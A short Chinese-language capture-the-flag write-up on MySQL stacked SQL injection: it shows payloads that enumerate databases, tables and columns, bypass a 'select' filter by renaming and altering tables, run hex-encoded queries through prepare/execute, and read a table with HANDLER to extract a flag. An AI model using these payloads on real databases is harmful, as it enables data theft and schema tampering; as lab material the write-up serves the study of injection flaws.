堆叠注入
注入发现为单引号注入
查看列
发现为2
列
联合注入查一下信息
发现过滤了select
堆叠注入试试,就是通过;
号注入多条SQL
语句。
1';show databases%23
1';show tables%23
# 表名为数字时,要用反引号包起来查询。
1';show columns from `1919810931114514`%23
1';show columns from words%23
查出来了表1919810931114514
和words
,
1919810931114514
表有flag
列
words
表有id
列和data
列
但是select
被过滤了,需要绕过
- 通过
rename
先把words
表改名为其他的表名。 - 把
1919810931114514
表的名字改为words
- 给
words
表添加新的列名id
- 将
flag
字段名改为与words
中相同的列名data
然后就可以通过查询id
得方法查出来flag
字段的内容了
1';rename table words to word1;rename table `1919810931114514` to words;alter table words add id int not NULL auto_increment primary key;alter table words change flag data varchar(100);%23
提交payload
后,再查询id
为1
的数据,就可以查到flag
因为select
被过滤了
所以先将select * from `1919810931114514`进行16进制编码
再构造预处理语句
;SeT@a=0x73656c656374202a2066726f6d20603139313938313039333131313435313460;prepare execsql from @a;execute execsql;#
# 因上述方法更改了flag表,所以真实的flag在words表中,所以重新编码
0';Set@a=0x73656c656374202a2066726f6d2060776f72647360;prepare execsql from @a;execute execsql;%23
1'; handler `1919810931114514` open as `a`; handler `a` read next;#
666c6167